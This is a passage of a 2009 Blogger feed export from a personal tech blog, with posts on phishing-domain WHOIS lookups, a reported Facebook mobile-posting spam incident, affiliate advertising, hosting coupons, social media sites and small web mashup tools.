/&gt;Language  English&lt;br /&gt;Address  5 Roundwood Avenue Stockley Park UB11 1FF Uxbridge Middlesex United Kingdom&lt;br /&gt;Phone  +44.8712309525 (a cheap call with Skype!)&lt;br /&gt;Fax  +44.8701650437&lt;br /&gt;Email  &lt;a href="mailto:services@123-reg.co.uk"&gt;services@123-reg.co.uk&lt;/a&gt;&lt;br /&gt;Registrar&lt;br /&gt;Organisation  Tucows.com Co.&lt;br /&gt;Website  domainhelp.tucows.com/&lt;br /&gt;Nameservers&lt;br /&gt;  &lt;br /&gt;ns1.asthomes.com    &lt;br /&gt;ns1.management-lyne.com    &lt;br /&gt;&lt;hr /&gt; Let Philippe Verhost know that his brand of cheese is unwelcome in your neck of the woods!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-5871021572057040040?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/5871021572057040040/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=5871021572057040040' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5871021572057040040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5871021572057040040'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/11/niice-todays-round-of-phishing.html' title='Niice-- Today&apos;s round of phishing.'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7651433433585897750</id><published>2009-11-03T07:57:00.003-08:00</published><updated>2009-11-03T14:47:27.022-08:00</updated><title type='text'>Facebook has holes in its mobile web authentication</title><content type='html'>From &lt;a href="http://www.jumpingmoose.ca/node/421"&gt;www.jumpingmoose.ca&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;A Facebook user awoke to find this phrase on her list of Wall posts:&lt;br /&gt;&lt;br /&gt;"[FB User] &lt;span style="font-style: italic;"&gt;made $130 today working at home! go to WorkHomeMyself.com to see how you can start also! jdx&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;It was posted via the "Mobile Web" and the user doesn't have that functionality set up, so Facebook may be facing a real flaw in their authentication if hackers can slapshot a post into an account, bypassing users' authentication and FB's system set-ups. At present, there is no sign of people with Mobile Web enabled being hacked.&lt;br /&gt;Thanks: WorkHomeMyself.com&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Where are these scamsters from? China.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Whois Server: grs.hichina.com&lt;br /&gt;&lt;br /&gt;Domain Name ..................... WorkHomeMyself.com&lt;br /&gt;Name Server ..................... dns21.hichina.com&lt;br /&gt;                                 dns22.hichina.com&lt;br /&gt;Registrant ID ................... hc922682576-cn&lt;br /&gt;Registrant Name ................. SHAOHUA QIN&lt;br /&gt;Registrant Organization ......... QINSHAOHUA&lt;br /&gt;Registrant Address .............. CAIHONGXINCUN54.202&lt;br /&gt;Registrant City ................. NB&lt;br /&gt;Registrant Province/State ....... ZJ&lt;br /&gt;Registrant Postal Code .......... 501768&lt;br /&gt;Registrant Country Code ......... CN&lt;br /&gt;Registrant Phone Number ......... +86.057488101927 -&lt;br /&gt;Registrant Fax .................. +86.057488101927 -&lt;br /&gt;Registrant Email ................ caihongxq@sina.com&lt;br /&gt;Administrative ID ............... hc922682576-cn&lt;br /&gt;Administrative Name ............. SHAOHUA QIN&lt;br /&gt;Administrative Organization ..... QINSHAOHUA&lt;br /&gt;Administrative Address .......... CAIHONGXINCUN54.202&lt;br /&gt;Administrative City ............. NB&lt;br /&gt;Administrative Province/State ... ZJ&lt;br /&gt;Administrative Postal Code ...... 501768&lt;br /&gt;Administrative Country Code ..... CN&lt;br /&gt;Administrative Phone Number ..... +86.057488101927 -&lt;br /&gt;Administrative Fax .............. +86.057488101927 -&lt;br /&gt;Administrative Email ............ caihongxq@sina.com&lt;br /&gt;Billing ID ...................... hichina001-cn&lt;br /&gt;Billing Name .................... hichina&lt;br /&gt;Billing Organization ............ HiChina Web Solutions Limited&lt;br /&gt;Billing Address ................. 3/F., HiChina Mansion&lt;br /&gt;                                 No.27 Gulouwai Avenue&lt;br /&gt;                                 Dongcheng District&lt;br /&gt;Billing City .................... Beijing&lt;br /&gt;Billing Province/State .......... Beijing&lt;br /&gt;Billing Postal Code ............. 100011&lt;br /&gt;Billing Country Code ............ CN&lt;br /&gt;Billing Phone Number ............ +86.01064242299 -&lt;br /&gt;Billing Fax ..................... +86.01064258796 -&lt;br /&gt;Billing Email ................... domainadm@hichina.com&lt;br /&gt;Technical ID .................... hichina001-cn&lt;br /&gt;Technical Name .................. hichina&lt;br /&gt;Technical Organization .......... HiChina Web Solutions Limited&lt;br /&gt;Technical Address ............... 3/F., HiChina Mansion&lt;br /&gt;                                 No.27 Gulouwai Avenue&lt;br /&gt;                                 Dongcheng District&lt;br /&gt;Technical City .................. Beijing&lt;br /&gt;Technical Province/State ........ Beijing&lt;br /&gt;Technical Postal Code ........... 100011&lt;br /&gt;Technical Country Code .......... CN&lt;br /&gt;Technical Phone Number .......... +86.01064242299 -&lt;br /&gt;Technical Fax ................... +86.01064258796 -&lt;br /&gt;Technical Email ................. domainadm@hichina.com&lt;br /&gt;Expiration Date ................. 2010-10-14 06:25:35&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7651433433585897750?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7651433433585897750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7651433433585897750' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7651433433585897750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7651433433585897750'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/11/facebook-has-holes-in-its-mobile-web.html' title='Facebook has holes in its mobile web authentication'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6645853052676608158</id><published>2009-10-29T22:50:00.003-07:00</published><updated>2009-10-29T23:44:40.251-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='advertising'/><category scheme='http://www.blogger.com/atom/ns#' term='cpc'/><category scheme='http://www.blogger.com/atom/ns#' term='content'/><title type='text'>If Content is King, How Do You Hire Mercenaries?</title><content type='html'>I have set into a long quest to turn my sites into revenue engines. These sites need to earn their keep. Here are some of the problems:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Repeated Content is toxic&lt;/span&gt;. &lt;a href="http://mikedewolfe.blogspot.com/2009/07/toba-catastrophe.html"&gt;I have sinned&lt;/a&gt; and I have tried to repeal my sinful ways. The problem is that there is no Content Anonymous so I cannot fully reform. I occasionally loan from known sites that have good content. More often than not, I will admit to using their good content to round out my idea.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;RSS appears to be a dubious idea&lt;/span&gt;. I have &lt;a href="http://www.thosedewolfes.com"&gt;our family site&lt;/a&gt; taking in RSS from our blogs and aggregating it. That doesn't do me any favours. Some companies, like &lt;a href="http://www.daylife.com"&gt;Daylife&lt;/a&gt;, have made it into their bread-and-butter. They're doing some AWESOME stuff with it.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Google is good at washing content and looking for the real traffic route&lt;/span&gt;. In other words: in my &lt;a href="http://www.thosedewolfes.com/bestsellers/"&gt;NY Times-Amazon mash-up&lt;/a&gt;, should index and push people through my affiliate links. That doesn't happen. That mash-up of mine is still a well known secret.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;My friends won't circulate my own posts&lt;/span&gt;. They will recirculate posts from &lt;a href="http://www.jumpingmoose.ca"&gt;websites I like&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I attended a mixer last week that was partially sponsored by Neverblue Media and Revenue Wire. I had a good chat with some of these guys. It looks like they're are 3 1/2 types of people out there doing affiliate ads:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Numpties.&lt;/span&gt; I AM A NUMPTY. I have ads and affiliate links all over the place and I get so little money for my efforts that's it laughable. I was unfortunately pleased to hear how many other people were in my state. They were making a few dollars a month.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Juggernauts.&lt;/span&gt; &lt;a href="http://technicalmike.blogspot.com/2006/10/todays-edition-of-making-sense-of.html"&gt;The Plenty of Fish&lt;/a&gt; guy grosses millions of dollars from Adsense revenue. It's envious. They have the Quan. People are showing up to read and create content. Adsense is perched on many pages. He has to keep the servers humming and the rest of the affair sorts itself out. &lt;a href="http://pofsucks1.wordpress.com/2008/01/01/my-own-plenty-of-fish-experience/"&gt;For now&lt;/a&gt;.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Scammers&lt;/span&gt;. There are lots of weasels who can abuse the system and make throngs of cash. Through arbitrage and similar, they milk it. Then they hold up big cheques and show off how much cash they've made. They're lucky because they got one cheque out of the system before they were shut down.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Repeat Scammers&lt;/span&gt;. (the half) These guys are lucky because they found the magic scam formula. Maybe they got found out. But like the guys in Boiler Room, they had an exit planned and another means to get revenue from the same approach. They jumped ship and the cheques still cash.&lt;br /&gt;&lt;br /&gt;How do you get advertising revenue? Easy: content and traffic.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Unique content is best&lt;/span&gt;. Slate, Onion, Apolloguide: these guys have it figured out.  They have a lot of good content posted on their site. It beckons the search engines to come calling and thereby drag into users. For those who don't have their own staff, there are places like Constant Content, Helium and Associated Content. They will sell you articles for you to use and re-use. Some people have not mastered it. They go to places like GetAFreelancer and oDesk (they should go &lt;a href="http://www.someexperiencerequired.com"&gt;here&lt;/a&gt;) and solicit cheap content from people who not speak English. They get unique, cheap content-- heck, no one would say it like these online staffers would. It may win with keyword bingo, but it's bound to fail to keep users.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Forums are great sources for content&lt;/span&gt;. It's a fantastic way to hook people and get content at the same time. It's stone soup: people bring the content you need to keep people coming. They are also great spam magnets. If the site security is too high it will put off users. Effectively, Plenty Of Fish has the dynamics of a forum site-- with a modestly lower mouth breather quotient.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Recirculated content is poor&lt;/span&gt;. If you scam content, search engines will shun your site and attribute the content to the first owner. This is why it appears that RSS does you few favours. As a means to swallow content, it's okay: it should stick to its primary use as a replacement for the Server Push concept from late 1990s for personal use.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bad approaches work&lt;/span&gt;. Spam is out there one reason: it works. For all of the hundreds of people who bemoan the tamiflu ads, some of the people who get spam in their inbox will open it, click on it and make a purchase. I had a job interview with a herbal viagra guys-- they were a piece of work. Unfortunately, a friend of a friend (yeah, one of those) does online perscription spam. His hit ratio is 1:10,000 (1 sale: 10,000 messages). From this, he nets about $2,700 per week. Sucks, huh?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6645853052676608158?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6645853052676608158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6645853052676608158' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6645853052676608158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6645853052676608158'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/10/if-content-is-king-how-do-you-hire.html' title='If Content is King, How Do You Hire Mercenaries?'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-5096463939530479723</id><published>2009-10-22T13:21:00.003-07:00</published><updated>2011-10-26T20:54:44.484-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elance'/><category scheme='http://www.blogger.com/atom/ns#' term='getafreelancer'/><category scheme='http://www.blogger.com/atom/ns#' term='odesk'/><title type='text'>Some Experience Required</title><content type='html'>Announcing a new site where you can build experience and references?&lt;br /&gt;&lt;a href="http://www.someexperiencerequired.com/"&gt;&lt;br /&gt;&lt;i&gt;Some Experience Required&lt;/i&gt;&lt;/a&gt; connects people who need help on projects with people who need skills, experience and work references.&lt;br /&gt;· As a project creator, you can post a project.&lt;br /&gt;· As a bidder, you can put yourself up for the projects that interest you. In exchange for working on a project, you gain experience. More importantly: you gain referential work-- work that you can use to lay a foundation for a career in your field.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.someexperiencerequired.com/"&gt;http://www.someexperiencerequired.com/&lt;/a&gt;And if you want to get involved: &lt;a href="http://www.thosedewolfes.com/projects/domains/someexperiencerequired.html"&gt;Click here!&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-5096463939530479723?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/5096463939530479723/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=5096463939530479723' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5096463939530479723'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5096463939530479723'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/10/some-experience-required.html' title='Some Experience Required'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-1557458550664421212</id><published>2009-10-22T07:57:00.003-07:00</published><updated>2009-10-22T08:00:13.239-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fixes'/><category scheme='http://www.blogger.com/atom/ns#' term='lame'/><title type='text'>Lame Tech Tricks</title><content type='html'>Do you remember when Homer Simpson solved his engine light problem by putting masking tape over the engine light? Have you ever done the equivalent in programming or IT work? Have you ever had to placate someone over a non-issue and the only solution was a lame solution to hide the meaningless message?&lt;br /&gt;&lt;br /&gt;C'mon-- comment and share your tales of masking tape!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-1557458550664421212?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/1557458550664421212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=1557458550664421212' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1557458550664421212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1557458550664421212'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/10/lame-tech-tricks.html' title='Lame Tech Tricks'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-2658952856929185384</id><published>2009-10-01T11:18:00.003-07:00</published><updated>2009-10-01T11:22:37.993-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dotster'/><category scheme='http://www.blogger.com/atom/ns#' term='Hosting'/><title type='text'>Dotster Deals!</title><content type='html'>Dotster Deluxe Email: &lt;a href="http://www.dpbolvw.net/click-2950534-10710052"&gt;Dotster Deluxe Email&lt;/a&gt;&lt;img src="http://www.tqlkg.com/image-2950534-10710052" width="1" height="1" border="0" style="display: none;"/&gt;&lt;br /&gt;&lt;br /&gt;Quarterly Hosting: Save 5% when purchasing: &lt;a href="http://www.kqzyfj.com/click-2950534-10710059"&gt;Dotster Quarterly Hosting&lt;/a&gt; Plans&lt;img src="http://www.awltovhc.com/image-2950534-10710059" width="1" height="1" border="0" style="display: none;"/&gt;&lt;br /&gt;&lt;br /&gt;Deals on Geotrust / SSL: &lt;a href="http://www.anrdoezrs.net/click-2950534-10710056"&gt;GeoTrust TrueBusinessID with EV SSL Certificate&lt;/a&gt; was $799 Now $179! from Dotster&lt;img src="http://www.tqlkg.com/image-2950534-10710056" width="1" height="1" border="0" style="display: none;"/&gt;&lt;br /&gt;&lt;br /&gt;Some great Dotster coupons:&lt;br /&gt;Dotster Coupon: DotsterAnnualHost25&lt;br /&gt;Hostlane Coupon: HostlaneAnnualHost25&lt;br /&gt;Domain.com Coupon: DomainAnnualHost15&lt;br /&gt;MyDomain.com Coupon: MyDomainAnnualHost15 &lt;br /&gt;(these expire October 31st, 2009)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-2658952856929185384?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/2658952856929185384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=2658952856929185384' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2658952856929185384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2658952856929185384'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/10/dotster-deals.html' title='Dotster Deals!'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7044161458313672935</id><published>2009-09-28T20:29:00.004-07:00</published><updated>2009-09-28T21:09:32.725-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Digg.'/><category scheme='http://www.blogger.com/atom/ns#' term='Twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='FaceBook'/><title type='text'>The Three Amigos</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ekehePDB92c/SsGBaGuhp7I/AAAAAAAAAQA/x2NFKOXOuwE/s1600-h/three_amigos.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 298px; height: 298px;" src="http://1.bp.blogspot.com/_ekehePDB92c/SsGBaGuhp7I/AAAAAAAAAQA/x2NFKOXOuwE/s400/three_amigos.png" alt="" id="BLOGGER_PHOTO_ID_5386728914794162098" border="0" /&gt;&lt;/a&gt;I think the killer app is out there waiting. Something like an expert system that doesn't rely on complexity but undiscovered gesture of simplicity.&lt;br /&gt;I liked the idea of &lt;span style="font-weight: bold;"&gt;Digg&lt;/span&gt;, but &lt;a href="http://www.readwriteweb.com/archives/the_dirty_little_secret_about_the_wisdom_of_the_crowds.php"&gt;there are key flaws with its practice&lt;/a&gt;. Instead of it being crowd sourced, it's a bunch of pages loved by friends of Kevin Rose. It not so much the wisdom of the crowds: it's a bunch of demented shut-ins. I know a woman who put in a link and got back, "shut the fuck up, you ugly bitch." and similar.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Facebook &lt;/span&gt;doesn't have the same potential for enmity because it's a social network: your friends join you; almost everyone reveals their contact information; and you are with birds of a feather-- if you're friends with jerks, they'll be familiar jerks. You can shut them out with simple unfriending.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Twitter&lt;/span&gt;. I resisted joining Twitter until recently. I thought that the moniker of "twits" was apt. Apt! Sure Brevity=Wit, but 140 characters seemed to reward people with ADD. Contrast it with Digg: lots of threads, a clique of people who get to the front page, lots of shut-ins who vent at anyone. With Twitter, you have your own posts. People can follow you. You can follow them. You can block people. You can keep your posts locked off from the public at large. If someone wants to spout bile at you, they need to do it on their own dime-- their own twitter feed. Try to find points of contact into the big web ventures: Google, Facebook, eBay and Paypal. That lack of functionality seems to be a boon for them. The lack of complexity in Twitter is part of its strength.&lt;br /&gt;I dabbled with Robinhood Fund. I like their weighting system. People opinions are amplified by the qualty of their participation. People who are jerks get their voiced tuned down. People who are iffusive also get toned down-- you can't like everything. It means the "good" players get the loudest voices. Also, just as data rots, their participation has to be fresh or it rots-- diminishes.&lt;br /&gt;What's so good about Twitter may be &lt;a href="http://www.washingtonpost.com/wp-dyn/content/article/2009/09/28/AR2009092802664.html"&gt;coming to an end&lt;/a&gt;. Mark Trammell from Digg is moving over to Twitter. If the same opportunities for sniping and toxic anonymity come into play, Twitter will be worse than a billion dollar business with no revenue: it'll be Digg.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7044161458313672935?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7044161458313672935/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7044161458313672935' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7044161458313672935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7044161458313672935'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/09/three-amigos.html' title='The Three Amigos'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_ekehePDB92c/SsGBaGuhp7I/AAAAAAAAAQA/x2NFKOXOuwE/s72-c/three_amigos.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7268579995512646201</id><published>2009-09-26T18:33:00.004-07:00</published><updated>2009-09-26T19:27:11.682-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mashups'/><category scheme='http://www.blogger.com/atom/ns#' term='JQuery'/><category scheme='http://www.blogger.com/atom/ns#' term='API'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo'/><title type='text'>Movie Mash-up</title><content type='html'>A few years ago, I worked for a movie review website. It was doing bang-up stuff, but it's data was incomplete. I had this nifty idea: get a few form boxes: fill in the names of movie stars (actors, directors) and hit 'go'-- then get a list of movies that two to four movie stars have appeared in together. I am often haunted by these movies-- I know who stars in it, but I can't figure out what the movie was named. &lt;br /&gt;Fast forward to last week: I saw that I could drill Yahoo for API information from their movie section. Voila! Data! Glorious data! &lt;br /&gt;First up: I did a Facebook App, &lt;a href="http://apps.facebook.com/movietonight/"&gt;Movie Tonight&lt;/a&gt;. There, you can enter your postal code and get the listings for movies in the area. Then, you can click on a show time and make an FB event so that others can join you at the theater. &lt;br /&gt;Second: &lt;a href="http://www.prefabsite.net/movies/inamovie.html"&gt;I did a standalone app&lt;/a&gt;-- using JQuery to spiff it up, drill into the info from two or actors and produce the intersection of movies. It was painfully easy and satisfying to do.&lt;br /&gt;Did I ever mention that I love APIs?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7268579995512646201?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7268579995512646201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7268579995512646201' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7268579995512646201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7268579995512646201'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/09/movie-mash-up.html' title='Movie Mash-up'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-857237704187680854</id><published>2009-09-12T16:52:00.003-07:00</published><updated>2009-09-12T16:57:00.920-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='domains'/><category scheme='http://www.blogger.com/atom/ns#' term='mashup'/><title type='text'>Choose a Domain. Any Domain</title><content type='html'>Available domains are starting to get sparse. Have you been stumped for a decent available name? I can help!&lt;br /&gt;Go to &lt;a href="http://mike.dewolfe.bc.ca/domainchooser"&gt;http://mike.dewolfe.bc.ca/domainchooser&lt;/a&gt;  type in the words that may describe your website idea. Get a list of words that may be handy. Try combos to come up with something you can use that is available.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-857237704187680854?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/857237704187680854/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=857237704187680854' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/857237704187680854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/857237704187680854'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/09/choose-domain-any-domain.html' title='Choose a Domain. Any Domain'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-683918141487023130</id><published>2009-09-11T07:45:00.003-07:00</published><updated>2009-09-11T07:49:21.415-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ip addresses'/><title type='text'>A simple way to find IP Addresses</title><content type='html'>Here's an easy way to find IP addresses : &lt;a href="http://mike.dewolfe.bc.ca/findip"&gt;http://mike.dewolfe.bc.ca/findip&lt;/a&gt;. There are dozens of these tools out there, but whenever I find them, I find they're overtaxed or otherwise borked. Since I'm good at hiding in plain sight, I figured I'd put out a tool that I can use and then allowed everyone else (both of them) use the same tool when they want.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-683918141487023130?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/683918141487023130/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=683918141487023130' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/683918141487023130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/683918141487023130'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/09/simple-way-to-find-ip-addresses.html' title='A simple way to find IP Addresses'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 